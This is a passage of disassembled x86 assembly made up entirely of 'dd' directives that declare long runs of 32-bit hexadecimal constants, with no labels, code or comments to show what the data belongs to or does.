		dd 80258AA3h, 135C10F2h, 418B0208h, 1B8116CEh, 9DA72560h
		dd 7F008C9Ch, 90D91346h, 40D54929h, 0A33E2000h,	2ADF4011h
		dd 0AB332806h, 0E308BF0h, 8639EFDh, 3010870Dh, 0F90392EBh
		dd 0B4A39F4Fh, 58DE4C03h, 8942CC00h, 79B0B906h,	8EBA193Ah
		dd 0A1A202B2h, 0EE4E9B98h, 1FB308E8h, 428CBh, 34806D92h
		dd 0D13A4215h, 8D590057h, 3593A664h, 0CC5200DBh, 4CF7AD7Ch
		dd 0F300CAEDh, 61018B48h, 50307Fh, 4D3630Ch, 6AFB3FA5h
		dd 1FC60300h, 257D194Ch, 77020F4Dh, 2480F422h, 21EFF08Dh
		dd 10CD307h, 898F0963h,	7C8B25h, 0D5F60B29h, 2E7C1F75h
		dd 5248C0B1h, 0E5AF9DEAh, 1D3D50B7h, 9199E0h, 0B45A84D3h
		dd 174A8DAh, 0CA4D8000h, 8D444A34h, 6A120B94h, 0F900AB0Fh
		dd 58CC26A2h, 5CAF8F03h, 0F86D1DC5h, 1CEED0BBh,	80D53039h
		dd 2B1B885Eh, 7A005751h, 3A033762h, 0F8C47424h,	5B16009Bh
		dd 22520972h, 61003D3Fh, 2E637A5Ch, 9A7439h, 0ECD83453h
		dd 8322A507h, 1891A0C0h, 0E2C663BCh, 445076Ah, 45CB3B72h
		dd 949040FBh, 83C99B57h, 1F58E03h, 8F3F48DBh, 0FC7A0EB0h
		dd 0F33100F7h, 10D31949h, 9F00FBEEh, 1B9C72C5h,	1697935h
		dd 38610F9Eh, 40A73B5Ch, 9053FDD8h, 0D6744800h,	0B659475Bh
		dd 727B0505h, 8081F628h, 0C3DB3430h, 145CF81Ch,	0FE9C97C7h
		dd 0EA4DECB0h, 0EBE92413h, 8F020C3h, 431520AAh,	75BD01BEh
		dd 8BBE18EDh, 0DF16C4h,	0E70FF670h, 227E9373h, 0AC9FA000h
		dd 8AF2747Ch, 2E3FB881h, 0AFFCh, 4385C704h, 630EBFE9h
		dd 0D4E5B590h, 945500F0h, 9FE0836Fh, 5ED40038h,	93C2AC75h
		dd 0B43DD14Fh, 99138017h, 0BB21C60h, 0BC8F0018h, 47F2AEB7h
		dd 402ED0E4h, 803FBCDBh, 36DF38A5h, 16D5FD6h, 798AAF03h
		dd 0D0D454E9h, 200064EEh, 463FFDC2h, 7DCBE8h, 0F4BF0274h
		dd 7F41B36Dh, 0A8518800h, 0EC936FDBh, 10D70026h, 9460AB5Bh
		dd 3F000AE5h, 9177D621h, 0FB46A4C3h, 73149D4h, 34368AB7h
		dd 4C070E5h, 0E600CE3Dh, 115B51F3h, 0A24A94h, 52DAF02Dh
		dd 42C3905Dh, 0D9537600h, 855C390Fh, 9298001Eh,	0E80AE6E9h
		dd 0A43C1405h, 0D607003Fh, 2A84F250h, 72E50288h, 0CEE17A97h
		dd 87DAD880h, 0E3009628h, 0F8465A70h, 9214E5h, 0C144DCDFh
		dd 9426CCEFh, 45DE5100h, 3073E4C2h, 611007Eh, 635808A5h
		dd 0EF327A2Dh, 2F81007h, 3E2FBC8Eh, 0FAA05B00h,	0FEF7D8h
		dd 0B6DB5EB7h, 32795D22h
		dd 9344ED00h, 12686C8Ch, 0A13400C9h, 0B26D9B0Ah, 4818B083h
		dd 0CFC8A7C0h, 0D0F960AFh, 42E5ED0Ah, 58BA400h,	84022FBFh
		dd 2240A006h, 24E57E8Dh, 47BE31h, 0CE6C8067h, 0B60C038Fh
		dd 98027271h, 25090634h, 588DE289h, 45B0A514h, 9C6E1638h
		dd 738A8D07h, 0C26CB340h, 104650B6h, 8238C042h,	94538112h
		dd 3324741Fh, 2700ED1Ch, 0F81D37B6h, 0B0A9719Fh, 0C7F30022h
		dd 365FB779h, 4000068Eh, 899CD0A8h, 139C10Ah, 0F055443h
		dd 0D0184AC6h, 0A200D2A9h, 4681C84Fh, 0CFBB74h,	3A11E666h
		dd 0C31AC599h, 738F980Fh, 0FA6220CBh, 18F1F94Dh, 0CC901D01h
		dd 0D13C5F1Ah, 0A47F80C8h, 0ED4744CFh, 0FE77F8Fh, 96B953F4h
		dd 345B6880h, 0CC00FED6h, 0CFA26F52h, 5AC13B4h,	0CD6DB92Fh
		dd 6BC3AA28h, 0E024A2B0h, 754C3Fh, 255CD936h, 0F5E0499h
		dd 3BFC1202h, 5F098C7Ch, 0ED948360h, 1E00D37Dh,	0E20CDFE7h
		dd 2EA8BF5Eh, 1D318A07h, 8F874072h, 0C1C73A31h,	0DF1D6A01h
		dd 748E4D2Bh, 7C8998F0h, 312909B1h, 68104FB3h, 46005985h
		dd 0E55D08DAh, 0CC4D20C3h, 6F219808h, 6A468200h, 4FC7A5C4h
		dd 6030008Ch, 0FF5789CBh, 2D00FB21h, 0FE0E2EF1h, 248DAFEAh
		dd 7000903h, 94D7ECA9h,	9F08902Bh, 5D7F02A1h, 3363C83Bh
		dd 9809B0h, 299FF21h, 0C41E7A35h, 0D9191CFAh, 0A898E6Eh
		dd 0C2081FECh, 943087D1h, 0DF02CE00h, 4918D963h, 0BC0AF53Fh
		dd 5CB30008h, 88893AEFh, 0EA56010Bh, 0D0CF280Ch, 0CDC0849Fh
		dd 20C581A7h, 47274440h, 66C9E6Bh, 84059434h, 13600863h
		dd 6B31C551h, 1C8F1847h, 6F3EF182h, 50C085FCh, 7F0E0C5Fh
		dd 0B90C018h, 0A31DA807h, 4FB73Ch, 3CAC466Eh, 1518199h
		dd 59448DF6h, 0C4E1541Ch, 40ECC9Bh, 0C03B83EDh,	0E4B11ECAh
		dd 0FC670013h, 5CDA6646h, 295C974Dh, 510072A7h,	3830F705h
		dd 0A86C3Dh, 73F1687h, 485FD168h, 0A6D6950Eh, 71492097h
		dd 0E15D06h, 0DE708E43h, 59BFB905h, 0BDDF2D01h,	0BE0A5493h
		dd 0FB97D8h, 0AAE97E5Bh, 87326771h, 0C78C8900h,	0E20425E0h
		dd 0C1E458h, 0B5CD9CC9h, 50AF0C88h, 0B1A26800h,	0BE8991BDh
		dd 426004Fh, 0F1C1D8DBh, 0D30B427Dh, 8F654A71h,	821D00E7h
		dd 2ABC6FEh, 0F5284831h, 0C9C0D8F9h, 0A8078C94h, 250E74B1h
		dd 0FF012A0h, 817F3948h, 3AEC2D83h, 0EC062D1h, 4100DAD4h
		dd 0F0015124h, 9B6DCh, 0ADB488A4h, 43B10F20h, 41260700h
		dd 489BE737h, 0CAC47575h, 550482C8h, 0B5FF00DCh, 1144704Ah
		dd 0D60B993Eh, 0D4238536h, 0E7C5001Dh, 763BDBCDh, 0E300697Bh
		dd 2A92A689h, 0C83A90h,	0C34CE883h, 0D8CDB69Ch,	2875C532h
		dd 254710A7h, 44B8C240h, 12EB65C6h, 6F45109Bh, 0B1086489h
		dd 84FF8144h, 30892F78h, 0B3443C41h, 12775311h,	0FC148471h
		dd 12C0EA21h, 68D11057h, 0C9218C8Bh, 0FC8614ADh, 6E1D2229h
		dd 4350D450h, 0C02FAC44h, 604E1051h, 0CF0E0655h, 0E021D070h
		dd 0C35F575Dh, 0EE3C72CCh, 23A901A7h, 6A8C5EB2h, 0DDABF080h
		dd 2152BE01h, 0ADCD7B6Fh, 0E590680h, 39902F8Dh,	17553E00h
		dd 0B33AE7EDh, 8EFA004Eh, 24E5DCD4h, 360054B9h,	530466CAh
		dd 38896AF3h, 0A40EABD9h, 0B5200D72h, 62C19C1Dh, 0B0F6C63Ch
		dd 0C9CBD040h, 0FD6E0060h, 3452214Bh, 8F24E476h, 0E50E0C63h
		dd 2AAD600Ah, 0A3979Ch,	0D822D454h, 7C5530CEh, 0A42BBC00h
		dd 4C7ACDF0h, 0F5FF00E2h, 4D820C45h, 1600FBADh,	0B35CC3D9h
		dd 3081D3Bh, 0BB464230h, 1100F645h, 0DEC5F987h,	604E6820h
		dd 0D33E8062h, 0E9043BB5h, 0A43FFBDFh, 92A35490h, 4DE08Ah
		dd 0BB5B6340h, 7DFBF18Fh, 961A3E00h, 0B3C9D6EBh, 462B00DDh
		dd 1C6BD03Fh, 7D75803Ah, 8C3CE301h, 3D21EBD5h, 0CB9FE06Bh
		dd 255F1C00h, 0E2C27565h, 91F70FA6h, 0BDF951h, 2E28F883h
		dd 8C5010AFh, 0EF00A280h, 0C8F0CC1Ah, 0E63C59h,	47D201E5h
		dd 0FF8DAEFBh, 0BC654900h, 4E6FCEEBh, 70960102h, 3191805h
		dd 9BB8F313h, 0F076357h, 0A68B60C2h, 0D34A6E70h, 15130087h
		dd 20368E02h, 0E000B893h, 2883723Ah, 48C9D48h, 4FA63D82h
		dd 0E16B8196h, 22CBFCB2h, 9A1BC400h, 77CE7E4Bh,	163C0086h
		dd 4F3311BFh, 0A00A9FAh, 0FD630FC5h, 0FE2299FBh, 0F040FF64h
		dd 0D107E0h, 4A8683B1h,	44AAEC36h, 33621D00h, 50D8324Eh
		dd 0D647003Bh, 0D26552ACh, 0AD0FCEABh, 0C0BBC260h, 0CBD10ADFh
		dd 5AC7862h, 0D307BCFBh, 2716C05Dh, 30E2C18Ch, 0AB332C00h
		dd 424D229Eh, 9B8803B9h, 8402F13Fh, 458392A8h, 40465607h
		dd 0FE30C274h, 0BF3425h, 50DDECC4h, 182758Eh, 8013A73Ah
		dd 9247352Ch, 11998Fh, 5BBD0573h, 28A40C36h, 35A2E212h
		dd 0E39245Eh, 0C37DB598h, 0C9DADD82h, 7C349550h, 0FAA605C5h
		dd 0BE66658Ah, 6DFCA680h, 0A86F0067h, 4616BA1Fh, 0EB14D1EDh
		dd 908434h, 0CEF19657h,	90014083h, 5FD631ACh, 0FC42C2B8h
		dd 95485406h, 74BC0014h, 0D8E9ECC1h, 0AB9E0FA0h, 0D4056B6h
		dd 65D5D493h, 0CAAD8A00h, 92EA3EC5h, 0CE340024h, 0AFED5011h
		dd 9100300Bh, 0BE3C72E9h, 0E4E12Fh, 88B10CBFh, 0EE8DA79h
		dd 0EECD3902h, 80E07A52h, 0F0047BC4h, 4121004Ah, 6D15A36Eh
		dd 3B078E9Ch, 975958C0h, 0F2C492D0h, 6556C068h,	0B7A66BEBh
		dd 4C528D00h, 4A9AE31h,	7C50007Ah, 6B68FD5Ch, 5905495Dh
		dd 3AE898A7h, 7743BC00h, 0F4305BA2h, 99CE0A97h,	3FA8C9B8h
		dd 0BA488280h, 84D91EC6h, 49C54700h, 0DFB2A9BDh, 0B33300C8h
		dd 4ACDBF4Bh, 0B5751A4Dh, 2900AFF8h, 0E8E07BC6h, 0BDEE34h
		dd 3B7C03D3h, 9D38CEA6h, 25357300h, 46F9DB5Bh, 38D84DB0h
		dd 0E4797D00h, 50E5CF1Ch, 88C43207h, 0D3C745E8h, 0B7EF0640h
		dd 1E72E84Dh, 0C0CAAF65h, 0DB9E63B3h, 1F3A1B5Ch, 0CF578066h
		dd 288E8311h, 0E0B00D3h, 40B32DC0h, 0FE00EC1Fh,	7EDD17C9h
		dd 25FD02h, 0FA21B0BDh,	6FD31AA3h, 55C16001h, 0E925FE8h
		dd 0F17860C6h, 5B090024h, 300A72FAh, 0D1000FCFh, 86B0CDD7h
		dd 7FE31Eh, 2E19A744h, 0B3433420h, 7D915B00h, 18ADFCC1h
		dd 9DEA0E3Ch, 1C20E39Ch, 836BC9D2h, 0BED0100h, 0B4403FE9h
		dd 0C182A01Eh, 2551097Dh, 1980506Bh, 0C8415A8Dh, 2B7E5D02h
		dd 697106BFh, 0BC2250E4h, 0FA618A09h, 0E0E3B000h, 0A307D9C3h
		dd 60F55BCDh, 0D8843F47h, 9C884080h, 504FC56h, 185C4DB0h
		dd 2504C0E2h, 0D1009655h, 0F3C26CA0h, 57052D6h,	0E871E107h
		dd 3230809Dh, 7400420Ch, 0C9CA03B8h, 10A8725Ch,	860DAFAh
		dd 25CED0h, 993C6952h, 0EA06638Ah, 0ECC2BF75h, 0FE95C68h
		dd 0D4150079h, 526DDF26h, 4B00AF7Bh, 580548B5h,	5768CDh
		dd 28DE20C3h, 0B16A4A4Dh, 0DC090600h, 55B65093h, 0FBA40095h
		dd 0AEB9FFF0h, 2700E0A3h, 402E7543h, 4F6F38h, 19C02386h
		dd 0C86882D8h, 0FF0EA572h, 0E9373Bh, 30FD3275h,	0BF560D14h
		dd 7BB8C98Dh, 3BD420A1h, 7D7B00FFh, 8A0D6FB0h, 9700F58Ch
		dd 176B1C69h, 1D8F10FCh, 451DDC88h, 808C5B1Eh, 0DBAF112h
		dd 0AA5D6703h, 0A9BE88BCh, 0F060927Dh, 130676A5h, 0E71EADh
		dd 49A43824h, 170F93F8h, 0C116F07Ah, 9F315909h,	0E185C330h
		dd 0CF035EDh, 427700E0h, 0F8B21D5Bh, 0FE14F26Dh, 1380A531h
		dd 6D008ADBh, 24205BD3h, 139B78D6h, 7CC7CDh, 64377402h
		dd 0B2763A65h, 2B028100h, 0E506EC39h, 42A80034h, 8DFB0393h
		dd 0BCEAD833h, 0BBA4B400h
		dd 0FC3A08B3h, 0EF120062h, 3340710Ch, 5E0023FEh, 0A4B56F59h
		dd 7D51EE8h, 0BE1CE994h, 0C0F554D9h, 169CBA68h,	39FF9000h
		dd 7C4E5C51h, 92FE0995h, 2180EDABh, 144ABA49h, 0D0336601h
		dd 569E7594h, 2288D0h, 2805F60Ah, 63D6D485h, 0AF4C4CEEh
		dd 51BB0167h, 3EE424AAh, 0F2BA60C6h, 67724B5h, 4EED002Ch
		dd 0D06CB613h, 0FA41A604h, 3080EC57h, 2C2D9AD4h, 39FBD47h
		dd 0EE80ACD9h, 64118CC0h, 5C4F6A17h, 3850E027h,	3ABCF3BEh
		dd 3F01A382h, 72364B47h, 0B42241h, 34112E31h, 4C9242B3h
		dd 3000F01Ah, 6CE27683h, 2000E39Fh, 1B880CD9h, 0EC2EDA45h
		dd 0D860F323h, 0C98700A0h, 78D115D2h, 0E77377C1h, 0F88A3Fh
		dd 9F0838CBh, 0E0351CA9h, 0D9F000FEh, 0F9414D98h, 2A3B1AFCh
		dd 13900010h, 52D5314Fh, 601E012Eh, 5D802035h, 1F85C40Ah
		dd 0B1D83Ah, 0DC19F55Eh, 877278h, 466024EFh, 3915DB9Fh
		dd 0D0F4100Eh, 4D58A168h, 94CC962Eh, 0C831493h,	5400EC15h
		dd 0E4C0ABCBh, 160026B5h, 0D4C58488h, 30A8562h,	0DAFF76EBh
		dd 3100AF2Bh, 59EE8857h, 0C6799Ah, 7B403B5Bh, 0F106E1F3h
		dd 4190E77Fh, 67534900h, 0E2AB2D8h, 164FEC85h, 131E148h
		dd 0C3D93A17h, 89A0FFD1h, 413B8C6Bh, 0FF7580D6h, 7D504506h
		dd 0B08A0028h, 5EABF32Bh, 9F01655Bh, 88C01E4Fh,	29D8EA71h
		dd 47E721Dh, 933FE64Dh,	7970C0CAh, 8600AE20h, 4B37C732h
		dd 3BAB0CB4h, 490535E1h, 80BA57BFh, 0B39EA968h,	60B759h
		dd 0EF9DE5E1h, 473CAAh,	37DFC77Ah, 0FB8AE9F0h, 16460F5h
		dd 0DE2FD916h, 0CE654030h, 0D25800E4h, 0D9D33E4Bh, 0DC0040E5h
		dd 0DE228EBAh, 9C720F9h, 0F4245E25h, 772AC0A0h,	0C800403Eh
		dd 0D26D9DE0h, 5C7E5219h, 0D6076C97h, 4FD73FFBh, 632EB780h
		dd 0CE00DE5Bh, 6D1A31C4h, 0B69EBBBh, 0F5454918h, 0E94BA40Fh
		dd 0D0376702h, 68D21240h, 904C8300h, 9663F0E5h,	0F20C0017h
		dd 3975E75h, 6F0E925Dh,	5FBABE2Bh, 3C40C01Ch, 0BFAEAC61h
		dd 0E0E20F1Ah, 24227156h, 0AFC07FD3h, 2C7E9ADEh, 0FC084E03h
		dd 0F094A25Fh, 7072EAEh, 4DD1A1C9h, 0FEBDD09Dh,	6F009682h
		dd 776849E3h, 1CB844h, 25192EB3h, 0F3D472E6h, 713A1600h
		dd 6511E806h, 31F71CA4h, 195D001Fh, 0CD53CE3Bh,	0EA304C01h
		dd 2D49CFB9h, 0FE4B370h, 81CA7E0Ah, 44E40053h, 3391139Ah
		dd 841FF31Eh, 26189901h, 60FA09A8h, 10369ECh, 0FAD5EFB8h
		dd 0C84A91CFh, 0C40019E8h, 7A73407Eh, 277A101h,	0C08255D1h
		dd 0E460992Bh, 0D94B0351h, 0F4FD44Bh, 1C14604Ch, 0A88FF79Ah
		dd 536F6CCh, 582FB3B6h,	0BE6880E0h, 0BB00DB76h,	0A4837A89h
		dd 7D2F4F8h, 0EB6A076Ch, 53E7006Eh, 0E67C2BBAh,	0F9F35400h
		dd 948EDE7Eh, 0FD8B01C0h, 0F1E26B59h, 0C158DCA5h, 63C93900h
		dd 0F9FE099Ch, 0F71009Ah, 0FA93E237h, 0B80FA36Eh, 401B4AECh
		dd 7EDA8D0Dh, 166707E4h, 80680E62h, 0F4E99A05h,	130AC226h
		dd 7F31AF01h, 0BDD007FEh, 75BE00F6h, 98203B8Dh,	0FF12A5A8h
		dd 5404C0B0h, 14B0CA2Dh, 0CD10066h, 6561CF5Fh, 0D5135AC1h
		dd 0DC0FCBB0h, 6351EFE7h, 0E0354DE2h, 0F22E41B7h, 0FCE000C9h
		dd 8A6B2404h, 0DE125372h, 0A40113D6h, 4F59907Dh, 981E3C72h
		dd 46625C63h, 70C1539Ch, 8859B50Bh, 49942023h, 0BC98E5h
		dd 3F6E0704h, 0D4CE7A1h, 1AA0994Bh, 0D3CD00C4h,	3D18C37Ah
		dd 0DF005116h, 67F9618Ch, 2EB672CAh, 76465E0h, 9439D14Fh
		dd 85B89005h, 9C07CA15h, 0F73F98AEh, 87E4A260h,	53F90043h
		dd 0CEA83EF3h, 9428DF99h, 6B1298D9h, 402AC4Fh, 41180DD4h
		dd 2870863Ch, 82340BA8h, 2800F4CBh, 0FC8DD13h, 9193D500h
		dd 56BBEE96h, 0FE60140Ch, 3E04C4DAh, 0C1B40107h, 10EB8410h
		dd 5CB2C04Ah, 6300B024h, 0A7494370h, 3B000633h,	0E48F2C14h
		dd 1792453Ah, 19DD91Eh,	0BEBD0134h, 5E4C24ABh, 0B66BC400h
		dd 0E7BB2210h, 62B70096h, 0B048B1BDh, 75074154h, 3D830ED8h
		dd 0FDBA8180h, 0F9250352h, 0C758A516h, 8FB3C0C5h, 9F001C09h
		dd 0B2D740A2h, 128017CBh, 0C29221h, 4CBE3D4Ch, 76006E4Ah
		dd 2DE227D9h, 0F00455h,	718F2A60h, 4C86F999h, 3BA1C10h
		dd 0A84BA200h, 0B410B8CAh, 9DCC3Fh, 222EF228h, 3141CFh
		dd 0E3182CE7h, 46932B13h, 529AB07h, 0DC80C65Eh,	1D3E16h
		dd 7937032Fh, 0B80E4C2Ah, 279030E7h, 0DE706601h, 6219BE6Eh
		dd 0E0439C8h, 6A1056D5h, 593D3000h, 0CC4CE1ACh,	7A240020h
		dd 0D592B173h, 62210044h, 8BC67879h, 1D00A0E9h,	586349FEh
		dd 1DAB5CFh, 716C5E2Fh,	0D8E379BFh, 700531Dh, 70D6819Bh
		dd 20A011B3h, 71089649h, 40E679A2h, 0E5A6BBB4h,	0F500437Eh
		dd 1DE10687h, 7605D94h,	0F1907886h, 0A59AF0ACh,	3B003A02h
		dd 0D3B62629h, 1887E0h,	1924153Ch, 0FE1E7ACBh, 89AAFF3Ch
		dd 2C41D42h, 0D80BE88Ch, 4BAE0008h, 76B19BB8h, 24304457h
		dd 0BA2518B5h, 6E374C72h, 596F900h, 8D4083CAh, 0C3F0770Fh
		dd 361361F2h, 0EDF48927h, 14752523h, 0D488F400h, 0C3541EA1h
		dd 0C700F988h, 4E7662CAh, 0B885C46Fh, 5BE218h, 5AB7147h
		dd 0F233DAE8h, 0ACD55600h, 356FE5C2h, 68543FF0h, 9E95458Ah
		dd 8FFD0494h, 8EFA2086h, 0D6F512D9h, 0CBB08021h, 5203FB61h
		dd 0DB800651h, 5AABD00Bh, 3A87E676h, 387A438h, 6F88512h
		dd 406E8DBh, 105BE9Bh, 88BC50F8h, 57C50099h, 67636174h
		dd 8A183796h, 5318BF2h,	0AFBB0092h, 0CC913871h,	0C038FF1Ah
		dd 0A8C9E2h, 14B02B69h,	98A4ED6Bh, 7F4E00F4h, 0A5726FD7h
		dd 700E654h, 0D19D66CEh, 0B573B0h, 0FFFAB2EDh, 107AEE4Dh
		dd 913F3000h, 0A281E774h, 0E9E7AB1h, 52463BCAh,	31595E60h
		dd 0E7000783h, 71BA8734h, 18082F4Fh, 0C8FD9244h, 7F00D111h
		dd 0AA9FC29h, 0CE77DBh,	0BDF04398h, 213AF9EEh, 4C55F702h
		dd 0C032D135h, 0AEF467h, 39D8DBCEh, 0BA406D54h,	3E823C5Ch
		dd 0F23A9358h, 217F5401h, 7C29FAA5h, 231EE400h,	2EA3CC34h
		dd 7000485Bh, 86C4C1CFh, 0F5080082h, 0D6B4E55Bh, 0DD03B871h
		dd 75D8ED3Ch, 0A095C30Fh, 3BA2E1h, 88E997EFh, 7B06AC84h
		dd 0DCADC500h, 0AA241670h, 5DFB0958h, 5C0069C8h, 49934377h
		dd 0D86E2100h, 6F01AE86h, 423200F9h, 0A2F75AB9h, 40008239h
		dd 0B63BBE92h, 988F97h,	0C54FC855h, 110FBD03h, 0C46059h
		dd 3EA7A891h, 1C295434h, 8382715Eh, 0B7E0975h, 2381A488h
		dd 5E6F712h, 53225D00h,	0FA6B8A6Eh, 3E710074h, 3129E3A6h
		dd 481C752Ah, 0E06CD217h, 27002826h, 56A30D3Bh,	0EB300F86h
		dd 0F56069B8h, 0B43125B7h, 0ABFE3902h, 40E2F488h, 2E34E830h
		dd 9C0BE38h, 9680F8C3h,	0AB5682B6h, 0E5E4CF16h,	3A741E07h
		dd 0C00BD2C3h, 0FC04D6h, 0C35F852h, 96058622h, 0D0F6500Fh
		dd 8AB80425h, 281DA081h, 0AC3978E1h, 6BE666C0h,	4F160C87h
		dd 0AF0FC7F4h, 5D3EE0BBh, 21EDCF2h, 0C69881E4h,	504018DAh
		dd 0A3007AAEh, 1ADBE94Bh, 0B0CFA0h, 5621C860h, 0E1D58C06h
		dd 6DF16100h, 0DACCB86Ch, 17C41885h, 387D2801h,	73D8EC00h
		dd 3DC7ACFFh, 5A6C0199h, 18E390E2h, 0C06DCD0Ah,	93DDB7Ah
		dd 3F963D9Ah, 0B7D800ACh, 7C0F5633h, 40160066h,	0CC056B21h
		dd 0EEEACED3h, 0E25BA800h, 0AF9B678h, 792C00A5h, 0FE8A6F47h
		dd 8F4AB137h, 91809084h, 2352AAh, 10583C43h, 1A5D9720h
		dd 0EC003FE6h, 5FA90D7Ch
		dd 42D2AAEh, 0C06C1573h, 0F180BF8Eh, 0B2D4C841h, 5CA00248h
		dd 17EEC524h, 47D558E0h, 3C30C25Ah, 0F69165h, 125D24FBh
		dd 0C97C760Ah, 93687F17h, 16B7E420h, 62C100A4h,	0D93C5397h
		dd 8E00EC1Dh, 0D6300841h, 71105C3h, 0D7D02729h,	0A6026136h
		dd 0AB2180EBh, 6053D232h, 5E9400CAh, 2D1AC251h,	34EBC6F0h
		dd 9B0F965Ch, 8034F4E3h, 0AF7BECCBh, 0A1980365h, 3E329FCCh
		dd 0C087E1FBh, 0F77A29F6h, 0F1342400h, 5789EBB0h, 7130000Bh
		dd 0E3E2909Bh, 50015D6h, 0B05382A7h, 77C3A6AEh,	24CC0075h
		dd 0E1E21C5Ch, 0E318F01Eh, 0AE80E55Fh, 479C00C1h, 0F792A74h
		dd 7B00C820h, 7D2D232Eh, 0C0CF4A13h, 0DE6CE721h, 7B5C223Ah
		dd 7F720158h, 0C6CBCE91h, 0CDF11080h, 0A70D74D0h, 54FC6A5Ah
		dd 5E77A100h, 97812586h, 5EE48B24h, 0C88C0F00h,	0D8A30Ch
		dd 1F3516FBh, 15202274h, 0BBE45409h, 69400031h,	0B0F0BD3h
		dd 856E7081h, 3AEDC080h, 5A1EA8DAh, 81E4216h, 0C483933Ah
		dd 0F6602001h, 12C4FCADh, 0B0A30111h, 3EB22839h, 24022E96h
		dd 412450ECh, 19D8CD60h, 2151000Ah, 0E8E1939Eh,	420779D5h
		dd 0ADD74DEBh, 64063030h, 21B700D9h, 5798609Bh,	791F22FFh
		dd 994268BEh, 40326149h, 1A89E4h, 0BA3BE681h, 0CE984A86h
		dd 9282301h, 0C075DC63h, 2690A1F8h, 42D4FB26h, 770011F5h
		dd 284C3603h, 7D8A945h,	397E0206h, 1802492Ch, 82299A3Dh
		dd 0F0F3738Ah, 982400A8h, 5CDEB57Bh, 0CF5BBF45h, 7359CC02h
		dd 18540Dh, 2CCAE636h, 0CE0C3A1Bh, 1898DEEAh, 63913C18h
		dd 70800180h, 1F5DC656h, 42B10800h, 0C81D39AFh,	50B06049h
		dd 0FEAE23CAh, 2D938C00h, 67C94D32h, 0FF8100C1h, 8990EFA0h
		dd 0AD002842h, 8584CF94h, 16F216FAh, 3C671Bh, 15B87CDDh
		dd 3D038166h, 88753060h, 0A0A7FBAAh, 0FF4279Dh,	0D44F3158h
		dd 0C70260A0h, 6800FE10h, 52FF3F6Eh, 1A6CC39h, 6AB815C4h
		dd 0C02CA05Fh, 0F905107Dh, 1ADD5CD0h, 0B09868B0h, 3B860285h
		dd 0C45EA2F8h, 38C18CE0h, 87A6243Eh, 0B93F3AEh,	0AA8A7F40h
		dd 0D37C28h, 9662BA15h,	9DE2999h, 6CBC1300h, 44D4B093h
		dd 475C0568h, 0F4E552D7h, 570346A8h, 3A9F82Eh, 0E67CC0C8h
		dd 0EBE9001Dh, 319D3277h, 0B195E7B5h, 63D82D14h, 0E5AF00CCh
		dd 5DB0E09Eh, 0F50B7ACBh, 41FC8CF2h, 7CFC0F7Ch,	0CD8F0758h
		dd 90341144h, 95193E14h, 208625Ch, 4736D507h, 0C95160C6h
		dd 4FCF0030h, 0DAAF31B8h, 0A60E28EAh, 0DC824297h, 6E40380h
		dd 9B1C38h, 9E01AAD9h, 70FA58E8h, 8E0A420Eh, 0AB3140DCh
		dd 36C545h, 2E51543Dh, 26CBFF2Fh, 84E9BD00h, 0FD1B5976h
		dd 0CCFAB3h, 29D42C48h,	6CEFB868h, 0A00DD700h, 8FBA4211h
		dd 64D11ECCh, 0CADA42C3h, 8C58FF85h, 8000497Fh,	0B0F5334Eh
		dd 1FA0AD0Bh, 0C0A89C84h, 0A150B538h, 0D9F0DDDAh, 0B9512407h
		dd 0A301C9F5h, 54DC2522h, 0DCDB004Dh, 4B3AE69Fh, 0C90CF753h
		dd 80DAA4E8h, 779A024Fh, 0E3B321ECh, 0F4620848h, 0E101FD00h
		dd 0C3E08509h, 0A7830E38h, 8012A360h, 0E3AF7DACh, 2155E803h
		dd 0A34DEC9Ch, 9BA370h,	0CEFDE2B8h, 1795486Fh, 0B030CB7Bh
		dd 807D502Ch, 25A41FE3h, 0E010CEAEh, 10BA560h, 3D6EC3DEh
		dd 86505821h, 92AEF2A4h, 0B3AB07E4h, 0D039951Ch, 86C20DDh
		dd 0FE1D3F00h, 0B12C4446h, 0FD690075h, 8805B76Fh, 73098F9Fh
		dd 19A5AB3h, 0FBBE3CBDh, 72F0DE8h, 0CCAF33Dh, 7317303Fh
		dd 65055570h, 22E534A2h, 0EB2930C0h, 7C720008h,	6B372412h
		dd 23301374h, 0A43504A6h, 5DB810h, 864BDF9Dh, 0C55DABA8h
		dd 4AECCA00h, 0DA557FD1h, 83C20E16h, 1078BF49h,	69F0AC77h
		dd 8D996C17h, 0C7829440h, 3AFD3DE0h, 818CB848h,	0B3082060h
		dd 327E21C0h, 4AB53Dh, 8FD1DCA1h, 0BE332969h, 43500B63h
		dd 2028626Bh, 0AE11C808h, 987209DEh, 879E837h, 0D3D12080h
		dd 6F4300BEh, 0C0BCAE8Bh, 700C931h, 0ABA170DEh,	0F0FC96h
		dd 7B752AA5h, 3E38EA33h, 0EDDD9A01h, 1104D7CDh,	518024D5h
		dd 0D684A1C5h, 200715ECh, 21BD5AE4h, 217346h, 3B849928h
		dd 4E311C29h, 48033934h, 0C505A480h, 4BFA052Dh,	0FF1B55Eh
		dd 85063930h, 0EC0F1054h, 0AFD39141h, 307680EBh, 0B9D1EEh
		dd 75B4ABF9h, 0BAE12BCEh, 672D0900h, 5A0B4916h,	0A520F8Ah
		dd 1400CBE7h, 544A716Bh, 313FAE7Bh, 3EA60088h, 0EA23FA0Bh
		dd 99D13B3Bh, 39F8BD1Eh, 0FD00E338h, 19B932Dh, 6F00EE02h
		dd 3461FB10h, 0F7AA51h,	0C530CBEFh, 4F8A8494h, 7BF5D70Eh
		dd 4232E32Dh, 8D63A8D9h, 0FAD4007Dh, 6A08F241h,	9500A12Eh
		dd 14ECDEAEh, 0C1EECE9Eh, 0F122FC38h, 0C9F06FC9h, 2AAD3CF0h
		dd 1CE0C107h, 6ED68014h, 0FB3C0F94h, 0BE7E0CD9h, 3071F2h
		dd 4B544863h, 0C03B6E9Ah, 280EF433h, 405C906Fh,	56BD00B0h
		dd 870358D8h, 890001E0h, 91966DAh, 302772DEh, 8F98CD62h
		dd 0F3035F75h, 0B02C6FAEh, 0EF76A828h, 0CB8B8E6h, 2980B6ECh
		dd 7E00AC18h, 8B3A053Bh, 72A717C1h, 8073D64h, 22688A05h
		dd 0B3D70970h, 0DA4E9A80h, 697C42E0h, 0D1DD0F1Dh, 118B64C0h
		dd 1838861Bh, 0EA54ABA6h, 32C04ABDh, 0C0A56D67h, 0C42900F9h
		dd 60239807h, 7700CB91h, 3540D499h, 2EEAAF41h, 1F1E89h
		dd 0D398CAEDh, 9C391348h, 9DF1946Bh, 3EE8AA04h,	0DA53CE00h
		dd 0F056228Dh, 86D43977h, 0F16A370Fh, 8FE00F3h,	52B88C63h
		dd 0E34A271Eh, 0D000211Dh, 3B7CDA2Bh, 63DC1249h, 0A81F7Fh
